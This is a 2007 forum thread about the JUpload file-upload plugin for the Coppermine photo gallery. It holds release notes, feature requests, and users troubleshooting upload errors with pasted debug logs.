a) The user will only see the uploaded pictures
b) The user can update the name and description of the pictures he just uploaded.

Etienne
Title: Re: Upload applet (JUpload)
Post by: garbs on June 16, 2007, 08:33:51 pm
Thank you for your response. Also let me thank you for taking the time to program this wonderful mod.

I think something got lost in translation on one of my points.
Quote
- May update the name/description of the album           Not sure it's really good. To be choosen.  Votes ?

No vote needed. I do not want regular users to update the name/description. I agree with you that would be a bad idea.

***
My apology.
 :-[ I had never logged in as a regular user (non-admin) and tried to change an album title. It blocks the change. That is what I wanted. I am sorry I asked about a feature that was already working as intended.

Title: Re: Upload applet (JUpload)
Post by: Vincs on June 18, 2007, 07:32:52 pm
Hello !
And what about the .htaccess working ?
I don't see it anymore on the "todo" list.
You don't want to make it anymore ?
Title: JUpload release 2.5.2
Post by: etienne_sf on June 18, 2007, 08:46:34 pm
Hi,

  Here is the 2.5.2 release. It's available here, as usual:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Change log:

Vincs, I don't forget you. But there was some important change on the applet. I could not interfere with. FYI: the entry point to control the relevant HTTP return code already exists. It's just a matter of putting the (right) code in .

Etienne
Title: JUpload release 2.5.3
Post by: etienne_sf on June 19, 2007, 01:10:47 pm
Hi,

  Here is the 2.5.3 release. It's available here, as usual:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Change log:

Etienne
Title: Re: Upload applet (JUpload)
Post by: garbs on June 19, 2007, 10:27:45 pm
Re: Version 2.5.2
For your information: Here is my experience regarding sort order.
1. When a 'regular' user selects an album, the drop down menu sorts correctly.  :)
2. When the admin selects an album, the drop down menu sorts albums incorrectly. Sorts in order of album creation.  :(

****
In a different line of thought - I have a Feature request
Not sure if this would be a coppermine upload feature or a JUpload feature or both.
During the upload steps the user currently selects the 'album' from the drop-down-menu. Scrolling down the drop-down-menu list can be cumbersome because of a long list of albums. Here is what I would like as a feature. I would like to have a specific album selected in the dropdown menu. Here is an example of how I would like this implemented.

Lets say there are over 300 albums in different categories. And a user wants to upload photographs into album(xyz).
The user would browse to album(xyz) using their web browser. The user would then click on the 'JUpload' link. Then the 'album' drop-down-menu would have album(xyz) already selected from 'album' drop-down-menu. The user would still be able to scroll and select a different album from the drop-down-menu if so needed. This would save time from scrolling down a long list of albums. I feel like there has to be a way that JUpload would know what album/web page the user clicked the JUpload link from. If the user clicked on the JUpload link from any other page in the gallery that was not album specific, then the 'album' drop-down-menu would behave as it currently does now - by not preselecting an album in the drop-down-menu.

I hope this makes sense. Let me know if you need clarification. Thanks for your help.
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 20, 2007, 12:16:12 pm
I've try the new 2.5.3 and I've got this debug message when I try to make it works under .htaccess
I've fulled in the field with my login:pass. (of the .htaccess)
And there is the debug :

Code: [Select]
12:14:44.875 [INFO] Debug level set to 0
12:14:45.015 [WARN] Invalid int value: , using default value: 0
12:14:45.015 [INFO] JUpload plugin for coppermine version 2.5.3
12:14:57.859 [INFO] Debug level set to 1
12:14:57.859 [ERROR] Upload arrt avec erreur
12:14:57.859 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
12:14:57.859 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
12:14:57.859 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
12:14:57.859 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
12:14:57.859 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
12:14:57.859 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
12:14:57.859 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
12:14:57.859 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
12:15:02.218 [INFO] Debug level set to 100
12:15:02.218 [DEBUG] =======================================================================
12:15:02.218 [DEBUG] ======= Parameters managed by DefaultUploadPolicy
12:15:02.218 [INFO] JUpload applet, version 3.0.2b3 ($Revision: 224 $) ($Date: 2007-06-01 08:21:37 +0000 (ven., 01 juin 2007) $), available at http://jupload.sourceforge.net/
12:15:02.218 [DEBUG] Java version: 1.6.0
12:15:02.218 [DEBUG] Cookie: cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310; fcbb39d482fff925ec93bd2d48866efd=bbc84b2ee574671f7f6e53227652aaea
12:15:02.218 [DEBUG] userAgent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
12:15:02.218 [DEBUG] List of all applet parameters:
12:15:02.218 [DEBUG]   language: fr
12:15:02.218 [DEBUG]   country:
12:15:02.218 [DEBUG] afterUploadURL: null
12:15:02.218 [DEBUG]   allowedFileExtensions: /jpg/jpeg/jpe/gif/png/bmp/jpc/jp2/jpx/jb2/swc/iff/asf/asx/mpg/mpeg/wmv/swf/avi/mov/mp3/midi/mid/wma/wav/ogg/psd/doc/txt/rtf/pdf/xls/pps/ppt/zip/gz/mdb/
12:15:02.218 [DEBUG] debug: 100
12:15:02.218 [DEBUG] filenameEncoding: null
12:15:02.218 [DEBUG] lang: fr
12:15:02.218 [DEBUG] maxChunkSize: 9223372036854775807
12:15:02.218 [INFO] maxFileSize  : 1024000
12:15:02.218 [DEBUG] nbFilesPerRequest: 1
12:15:02.218 [DEBUG] postURL: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=add_picture
12:15:02.218 [DEBUG] serverProtocol: HTTP/1.1
12:15:02.218 [DEBUG] showLogWindow: false
12:15:02.218 [DEBUG] stringUploadSuccess: SUCCESS
12:15:02.218 [DEBUG] stringUploadError: ERROR: (.*)
12:15:02.218 [DEBUG] urlToSendErrorTo: http://mpzportal.online.fr/index.php?file=jupload/jupload&action=log_error
12:15:02.218 [DEBUG]
12:15:02.218 [DEBUG] ======= Parameters managed by PictureUploadPolicy
12:15:02.218 [DEBUG] highQualityPreview : true
12:15:02.218 [DEBUG] pictureCompressionQuality : 0.8
12:15:02.218 [DEBUG] maxPicWidth : 2048, maxPicHeight : 2048
12:15:02.218 [DEBUG] realMaxPicWidth : 2048, realMaxPicHeight : 2048
12:15:02.218 [DEBUG] storeBufferedImage : false
12:15:02.234 [DEBUG] targetPictureFormat : null
12:15:02.234 [DEBUG]
12:15:02.234 [DEBUG] ======= Parameters managed by CoppermineUploadPolicy
12:15:02.234 [DEBUG] albumId : 60
12:15:02.234 [DEBUG]
12:15:02.968 [DEBUG] Action : Envoyer
12:15:02.968 [DEBUG] Upload done by using the wjhk.jupload2.upload.FileUploadThreadHTTP class
12:15:02.968 [DEBUG] file 0: content=122378 bytes, getAdditionnalBytesForUpload=492 bytes
12:15:02.968 [DEBUG] chunkHttpParam: jupart=0&jufinal=1
12:15:02.968 [DEBUG] Cookie: cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310; fcbb39d482fff925ec93bd2d48866efd=bbc84b2ee574671f7f6e53227652aaea
12:15:02.968 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4
12:15:02.968 [DEBUG] Using non SSL socket, direct connection
12:15:02.984 [DEBUG] Timer started
12:15:02.984 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:15:03.015 [DEBUG] === main header (len=1054):
12:15:03.015 [DEBUG] POST /index.php?file=jupload/jupload&action=add_picture&album=60 HTTP/1.1\r\n
12:15:03.015 [DEBUG] Host: mpzportal.online.fr\r\n
12:15:03.015 [DEBUG] Accept: */*\r\n
12:15:03.015 [DEBUG] Connection: close\r\n
12:15:03.015 [DEBUG] Content-Type: multipart/form-data; boundary=---------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Length: 123273\r\n
12:15:03.015 [DEBUG] Cookie: cpg143_data=YTo0OntzOjI6IklEIjtzOjMyOiIwZDA2NmI3ZWQ4YTMzN2UwZDU0MGZhNDE2M2Y0YjgzNSI7czoyOiJhbSI7aToxO3M6NDoibGFuZyI7czo2OiJmcmVuY2giO3M6MzoibGl2IjthOjE6e2k6MDtzOjQ6IjEwMjgiO319; FRQSTR=19549310|19549310|19549310|19549310|19549310; fcbb39d482fff925ec93bd2d48866efd=bbc84b2ee574671f7f6e53227652aaea\r\n
12:15:03.015 [DEBUG] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Disposition: form-data; name="file"\r\n
12:15:03.015 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] jupload/jupload\r\n
12:15:03.015 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Disposition: form-data; name="album"\r\n
12:15:03.015 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] 60\r\n
12:15:03.015 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Disposition: form-data; name="action"\r\n
12:15:03.015 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] add_picture\r\n
12:15:03.015 [DEBUG] === main header end
12:15:03.015 [DEBUG] --- fileheader start (len=288):
12:15:03.015 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Disposition: form-data; name="mimetype"\r\n
12:15:03.015 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] image/jpeg\r\n
12:15:03.015 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:03.015 [DEBUG] Content-Disposition: form-data; name="userpicture"; filename="concert 001.jpg"\r\n
12:15:03.015 [DEBUG] Content-Type: image/jpeg\r\n
12:15:03.015 [DEBUG] \r\n
12:15:03.015 [DEBUG] --- fileheader end
12:15:03.015 [DEBUG] in UploadFileData.uploadFile (amount:122378, getUploadLength(): 122378)
12:15:06.765 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:15:06.859 [DEBUG] --- filetail start (len=204):
12:15:06.859 [DEBUG] \r\n
12:15:06.859 [DEBUG] -----------------------------9qvh82jn1ow\r\n
12:15:06.859 [DEBUG] Content-Disposition: form-data; name="md5sum"\r\n
12:15:06.859 [DEBUG] Content-Transfer-Encoding: 8bit\r\n
12:15:06.859 [DEBUG] \r\n
12:15:06.859 [DEBUG] 89a2575f9ec0846ecfea37bd604d0890\r\n
12:15:06.859 [DEBUG] -----------------------------9qvh82jn1ow--\r\n
12:15:06.875 [DEBUG] --- filetail end
12:15:07.625 [DEBUG] -------- Response Headers Start --------
12:15:07.625 [DEBUG] HTTP/1.1 401 Authorization Required
12:15:07.625 [DEBUG] Date: Wed, 20 Jun 2007 10:14:14 GMT
12:15:07.625 [DEBUG] Server: Apache/ProXad [May 15 2007 17:32:34]
12:15:07.625 [DEBUG] WWW-Authenticate: Basic realm="Que faites vous ici ? Hein Hein ?!"
12:15:07.625 [DEBUG] Connection: close
12:15:07.625 [DEBUG] Content-Type: text/html; charset=iso-8859-1
12:15:07.625 [DEBUG]
12:15:07.625 [DEBUG] --------- Response Headers End ---------
12:15:07.625 [DEBUG] HTTP status: 401 Authorization Required
12:15:07.625 [ERROR] Upload arrt avec erreur
12:15:07.625 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
12:15:07.625 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
12:15:07.625 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
12:15:07.625 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
12:15:07.625 [DEBUG] -------- Response Body Start --------
12:15:07.625 [DEBUG] <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
12:15:07.625 [DEBUG] <HTML><HEAD>
12:15:07.625 [DEBUG] <TITLE>401 Authorization Required</TITLE>
12:15:07.625 [DEBUG] </HEAD><BODY>
12:15:07.625 [DEBUG] <H1>Authorization Required</H1>
12:15:07.625 [DEBUG] This server could not verify that you
12:15:07.625 [DEBUG] are authorized to access the document
12:15:07.625 [DEBUG] requested.  Either you supplied the wrong
12:15:07.625 [DEBUG] credentials (e.g., bad password), or your
12:15:07.625 [DEBUG] browser doesn't understand how to supply
12:15:07.625 [DEBUG] the credentials required.<P>
12:15:07.625 [DEBUG] <ADDRESS>Apache/ProXad [May 15 2007 17:32:33] Server at mpzportal.online.fr Port 80</ADDRESS>
12:15:07.625 [DEBUG] </BODY></HTML>
12:15:07.625 [DEBUG] --------- Response Body End ---------
12:15:07.625 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Received HTTP status 401 Authorization Required
12:15:07.625 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:517)
12:15:07.625 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:684)
12:15:07.625 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
12:15:07.625 [DEBUG] FileUploadThread: within run().finally
12:15:08.890 [DEBUG] PicturePanel.paint(): offscreenImage is null
12:15:09.000 [DEBUG] JUploadPanel: after !fileUploadThread.isAlive()
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 20, 2007, 01:13:39 pm
I've try the new 2.5.3 and I've got this debug message when I try to make it works under .htaccess
I've fulled in the field with my login:pass. (of the .htaccess)
And there is the debug :

12:15:02.218 [INFO] JUpload applet, version 3.0.2b3 ($Revision: 224 $) ($Date: 2007-06-01 08:21:37 +0000 (ven., 01 juin 2007) $), available at http://jupload.sourceforge.net/

You're using the good Coppermine plugin. But your navigator uses the old applet. The output should be:
Code: [Select]
version 3.0.2b3 [SVN-Rev: 289]
(not 224)

To correct this, you should stop and reload your browser. If it doesn't work, go the Java control panel, and check the temporary files.

Etienne
Title: Re: Upload applet (JUpload)
Post by: Vincs on June 20, 2007, 01:39:31 pm
yes !
Once again you're right ;)
That's working fine !
Thanks a lot !

P.S.: Now that I've recover my ADSL ligne the plug-in is working fine (I was in 12Ko/s in up and now 25Ko/s)
Title: JUpload for Coppermine, release 2.5.4
Post by: etienne_sf on June 26, 2007, 06:49:30 pm
Hi,

  Here is the 2.5.4 release. It's available here, as usual:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb (http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb)


Change log:

Etienne
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 27, 2007, 03:36:21 pm
Etienne,
I installed this plug-in, but when I click on it, I get the following message:

You don't have permission to perform this operation.

If you're not connected, please login first



Then when I login, I get this:

You are already logged in ! 

Can you help me figure this out?

Thanks!
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 27, 2007, 04:07:25 pm
Now I have an even bigger problem!!!

I uninstalled the JUpload plug-in, and now there is no "upload" button at all!

Can someone please help me fix this.

Thanks!
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 28, 2007, 03:16:48 pm
Luckily, I was running this on a test site, so I just re-installed Coppermine.

I'd still like to have the JUpload feature, because it seems like a great idea.  Could someone please help me figure out how to get it running properly?

Thanks!
Title: Re: Upload applet (JUpload)
Post by: Sami on June 28, 2007, 03:35:26 pm
First of all thank you for such a good App

Etienne , it would be better to attach your new versions to initial post of this thread this way people find it better
I'm ready to help you if you have any problem with CPg's plugin API

[ot]
I'm going to use it under one of my php project , excellent work ;)
[/ot]
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 28, 2007, 03:45:36 pm
For clarity, I should add the following details about my issues:
I'm running CPG version 1.4.10
I'm running JUpload version 2.5.4
Theme is Water drop

Again, this seems like a great feature and I'd love to know how to get it working on my gallery.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 28, 2007, 06:23:36 pm
Now I have an even bigger problem!!!

I uninstalled the JUpload plug-in, and now there is no "upload" button at all!

Can someone please help me fix this.

Thanks!

I think there is no link with JUpload. It seems you're connected as a user who may not upload pictures.

Etienne
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 28, 2007, 06:27:32 pm
Etienne,
I toyed around with the permission settings and got this to work.  I've tested it on my gallery and it is great!  Thanks for developing this plug-in.

One quick question: do you know how to disable the old upload feature?

Thanks again for your great work!
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 28, 2007, 06:28:23 pm
First of all thank you for such a good App

 8)

Etienne , it would be better to attach your new versions to initial post of this thread this way people find it better

Done !


I'm ready to help you if you have any problem with CPg's plugin API

You actually already helped me, probably without knowing it !   
Frantz gave me a sample coming from you. You'll find your name in plugins/jupload/codebase.php !
 ;)


Regards
Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 28, 2007, 06:31:54 pm
One quick question: do you know how to disable the old upload feature?

Excellent idea!

  I take it for the next version: replace the standard Upload by JUpload. This, of course, will be an option.

Etienne
Title: Re: Upload applet (JUpload)
Post by: MatthewSchenker on June 28, 2007, 06:34:09 pm
Etienne,
Thank you!  Yes, it would be great to have the option of replacing the old upload feature with the new one.  Once your plug-in is installed, I don't need the old one any more.

Thank you again!
Title: Re: Upload applet (JUpload)
Post by: Sami on June 28, 2007, 06:54:25 pm
Is there a way to eliminate all files from browse window and have only Jupload filter on the list , I want to force user to   only select pdf files
Title: Re: Upload applet (JUpload)
Post by: garbs on June 30, 2007, 05:12:46 am
Quote
Change log:

[Comfort] The JUpload link in the top menu is now 'contextual': when you're browsing a category (for an admin only) or an album, a click on the JUpload link will put this category and/or album as the current one for upload. Thanks to garbs for this good idea!
[Config param] Add of linkTitle and linkComment configuration parameter. These parameters allows the admin to override the text that will be displayed on the JUpload link button (and on its mouseover comment).

Etienne

Those features are exactly what I wanted.  :)

Excellent Work!
Thank you, Thank you, Thank you!
-David Garbs-

The site I am working on has over 380 galleries and is growing. This is a wonderful [Comfort] feature.
If you are interested: Here is the site I am working on http://forum.solihullsociety.org/cphoto/ (http://forum.solihullsociety.org/cphoto/)
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 30, 2007, 11:44:41 am
Is there a way to eliminate all files from browse window and have only Jupload filter on the list , I want to force user to   only select pdf files

Everything is possible !   ;)

I was thinking about it. I need to add a little update to the applet.

Added to my TODO list: it will come soon.

Etienne
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on June 30, 2007, 11:51:44 am
The site I am working on has over 380 galleries and is growing. This is a wonderful [Comfort] feature.
If you are interested: Here is the site I am working on http://forum.solihullsociety.org/cphoto/ (http://forum.solihullsociety.org/cphoto/)

I took a look. I like the 'Utah Trails' main picture

  Could be nice to add more pictures in the 'Scenery and Nature Photographs' category. The main picture is nice   :)

Etienne
Title: Re: Upload applet (JUpload)
Post by: will on July 04, 2007, 07:50:59 pm
Those features are exactly what I wanted.  :)

Excellent Work!
Thank you, Thank you, Thank you!
-David Garbs-

The site I am working on has over 380 galleries and is growing. This is a wonderful [Comfort] feature.
If you are interested: Here is the site I am working on http://forum.solihullsociety.org/cphoto/ (http://forum.solihullsociety.org/cphoto/)

How did you get the picture to show just below the album name? ;D
Title: ? Load to Specific Directory
Post by: carltonb on July 05, 2007, 01:00:25 am
Maybe I am missing how to do it but can I upload the pictures to a specific directory.

When I batch upload it asks me what folder the pictures are in and processes them in that directory.

I have my file structure set up as /cpg/albums/smith wedding

Using JUpload how would I direct the pictures that are on my local drive to that directory on my server.

Thanks
Carlton Brooks
Title: Re: ? Load to Specific Directory
Post by: etienne_sf on July 05, 2007, 12:07:04 pm
Maybe I am missing how to do it but can I upload the pictures to a specific directory.

When I batch upload it asks me what folder the pictures are in and processes them in that directory.

I have my file structure set up as /cpg/albums/smith wedding

Using JUpload how would I direct the pictures that are on my local drive to that directory on my server.

You don't have to do this with JUpload: just select the album, and JUpload will store the files into the correct place. That is: into the directory for the selected album.

Simpler is better ...    ;)

Etienne
Title: Re: Upload applet (JUpload)
Post by: carltonb on July 05, 2007, 11:26:45 pm
I still do not understand
Quote
You don't have to do this with JUpload: just select the album, and JUpload will store the files into the correct place. That is: into the directory for the selected album.

I have the files stored on my hard drive (offline).
I log into CPG as an admin.
I click JUpload
I enter the Category and then I create an album name.
I then go to the Applet and click browse, then find the files on my drive that I want.
Then I upload. All files are processed and look great.
I then go and check the file structure on the site.
It created the files in a directory ./cpg/albums/userpics/10062

What I want to do is create the files under a directory in albums called smith wedding.

This is where I am confused how do I do this?

Maybe I do not understand the functions of the applet and CPG

Thanks
Carlton Brooks
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 06, 2007, 09:59:15 am
I still do not understand
I have the files stored on my hard drive (offline).
I log into CPG as an admin.
I click JUpload
I enter the Category and then I create an album name.
I then go to the Applet and click browse, then find the files on my drive that I want.
Then I upload. All files are processed and look great.
I then go and check the file structure on the site.
It created the files in a directory ./cpg/albums/userpics/10062

What I want to do is create the files under a directory in albums called smith wedding.

This is where I am confused how do I do this?

Maybe I do not understand the functions of the applet and CPG

Thanks
Carlton Brooks


Hi,

  You don't have to care about folders, when using JUpload. Just forget about it.

FYI: you can drag'n drop files to the applet. It's easier than browsing to the files.

Question:
1) You created an album. Is the album name 'smith wedding' ?
2) After your upload: are the pictures visible on Coppermine, under this album ?

Etienne
Title: JUpload released 2.5.6 (and 2.5.5 ?)
Post by: etienne_sf on July 06, 2007, 06:55:03 pm

2.5.6 available here:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=7735

And the full release notes and all version, on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

===== Version 2.5.6 =====

Changes:
  * [Minor] Put some Ajax in the upload_page, in admin mode: the page is no more reloaded when the admin selects another category. Then, the applet is not reloaded, and the selected pictures are not lost.
  * [Minor] When a file filter list is provided (see allowedFileExtensions), the user may not select other files. That is: he can not change the current filter by 'All files'.
  * [Minor] It's now possible to remove the standard upload link. See the new linkKeepStandardUpload config parameter.
  * [Minor] After upload: a message now explains to the user when uploaded picture properties (title, description...) have been saved.
  * [Minor] The JUpload link is now display after or in place of the standard upload button. No more problems when the FAQ link has been removed.


It seems that I didn't post a message for the 2.5.5 release. Here it is:

===== Version 2.5.5 =====

Changes:
  * [Comfort] The JUpload link in the top menu is now 'contextual': when you're browsing a category (for an admin only) or an album, a click on the JUpload link will put this category and/or album as the current one for upload. Thanks to garbs for this good idea!
  * [Config param] Add of linkTitle and linkComment configuration parameter. These parameters allows the admin to override the text that will be displayed on the JUpload link button (and on its mouseover comment).
Title: Re: JUpload released 2.5.6 (and 2.5.5 ?)
Post by: etienne_sf on July 07, 2007, 11:25:48 am

Hum: a last minute optimization just broke admin mode in IE. Here is the fix.


2.5.7 available here:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=7741

And the full release notes and all version, on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb


===== Version 2.5.7 =====

Fix:
  * [Major] Admin mode fixed with IE.
Title: Followup
Post by: carltonb on July 08, 2007, 07:34:49 pm
Quote
Question:
1) You created an album. Is the album name 'smith wedding' ?
2) After your upload: are the pictures visible on Coppermine, under this album ?

Here is what I am doing with some jpg files attached
Picture of directory prior to using upload http://www.carltonbrooks.net/jupload/pic1.jpg (http://www.carltonbrooks.net/jupload/pic1.jpg)

I go into jupload http://www.carltonbrooks.net/jupload/pic2.jpg (http://www.carltonbrooks.net/jupload/pic2.jpg) and type in an album name http://www.carltonbrooks.net/jupload/pic3.jpg (http://www.carltonbrooks.net/jupload/pic3.jpg)
I click create, it tells me the action was successful. I then go to Browse, select my files, click on the upload button.

It Loads the pictures, gives me an OK message. I then go to the edit screen and apply any changes and save. All is correct and works fine.

When I go back to my file structure it shows the following.http://www.carltonbrooks.net/jupload/pic4.jpg (http://www.carltonbrooks.net/jupload/pic4.jpg)
Where did the sub directory 10062 of userpics come from.
Then if I create new albums and upload pictures to the new album it places all the pictures in the 10062 directory.
Maybe I am a neat freak. I thought that they would be placed in a subdirectory of albums.

Do not get me wrong I love the program and what it does by saving me time of uploading huge volumes of pictures.

Thanks for the help and understanding
Carlton Brooks

Title: Re: Followup
Post by: etienne_sf on July 09, 2007, 10:37:44 am
Then if I create new albums and upload pictures to the new album it places all the pictures in the 10062 directory.

This is the standard way of pictures uploading with Coppermine. Try standard upload: it will do the same. Coppermine create a subdirectory per album, and stores the pictures in it. I'm not a specialist of the inner code of Coppermine. Now my understanding is that Coppermine creates a directory per user. The id for this directory is 10000+InternalId of the user. That is: the internal id for your test user is 62.

Now the place where files are is not really important, provided that everything works Ok ...

There is a point here, though: OS are not good when managing too many files in the same directory. So files must be stored in separate directories, so that finding a file is not too long. This will be not become a problem until some 30,000 pictures uploaded by standard upload or JUpload in a gallery. I'll add this to my TODO list.

Etienne
Title: Re: Upload applet (JUpload)
Post by: carltonb on July 09, 2007, 10:31:36 pm
Thanks for the great explanation that answers quite a few questions.

If I were to use the batch upload that comes with CPG it asks me what directory I want to use to get the files from, that is why I was looking for a directory name of my pictures.

If the files are placed in a directory of userpics/10062 can these then be moved or does that mess up the database.

Carlton Brooks
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 10, 2007, 10:17:03 am
If the files are placed in a directory of userpics/10062 can these then be moved or does that mess up the database.

It will mess up the database.
Title: Re: Upload applet (JUpload)
Post by: etienne_sf on July 10, 2007, 10:22:20 am

Seems like there is a problem with 1.4.12 Coppermine release. Here is the fix:


2.5.8 available here:
http://forum.coppermine-gallery.net/index.php?action=dlattach;topic=43432.0;attach=7778

And the full release notes and all version, on my wiki:
http://etienne.lesgauthier.fr/wiki/doku.php?id=jupload_coppermine_download_gb

===== Version 2.5.8 =====

Fix:
  * [Major] Fixed incompatibility with Coppermine 1.4.12 (the JUpload link was no more displayed).
Title: Re: Upload applet (JUpload)
Post by: will on July 10, 2007, 08:44:29 pm
I updated to 1.4.12 last nite and still using JUpload today with no problems ???
Title: Re: Upload applet (JUpload)
Post by: SotY on July 10, 2007, 11:42:28 pm
Hi

I have problems with the script. Every time when I try to upload some pictures (doesn't matter what size it is, it can be as small as 200KB) I'm getting message from java:

Code: [Select]
16:31:52.203 [INFO] Debug level set to 0
16:31:52.531 [WARN] Invalid int value: , using default value: 0
16:31:52.531 [INFO] JUpload plugin for coppermine version 2.5.8
16:33:09.984 [INFO] Debug level set to 1
16:33:10.000 [ERROR] Upload stopped with errors
16:33:10.000 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
16:33:10.000 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
16:33:10.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
16:33:10.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
16:33:10.000 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: wjhk.jupload2.policies.CoppermineUploadPolicy.checkUploadSuccess(): The string "SUCCESS" was not found in the response body
16:33:10.000 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.checkUploadSuccess(DefaultUploadPolicy.java:559)
16:33:10.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.doUpload(DefaultFileUploadThread.java:687)
16:33:10.000 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:442)
16:33:13.187 [ERROR] An error occured during log management (readingHttpBody)
16:33:13.187 [ERROR] wjhk.jupload2.exception.JUploadExceptionUploadFailed: Upload failed: unexpected HTTP response
16:33:13.187 [ERROR] at wjhk.jupload2.policies.DefaultUploadPolicy.sendDebugInformation(DefaultUploadPolicy.java:934)
16:33:13.187 [ERROR] at wjhk.jupload2.upload.DefaultFileUploadThread.run(DefaultFileUploadThread.java:498)

The only error in apache logs is:

Code: [Select]
[error] [client xx.xx.xx.xx] File does not exist: /home/soty/public_html/htdocs/galeria/wjhk
I'm using JUpload 2.5.8 with Coppermine 1.4.12. Standard upload works fine.
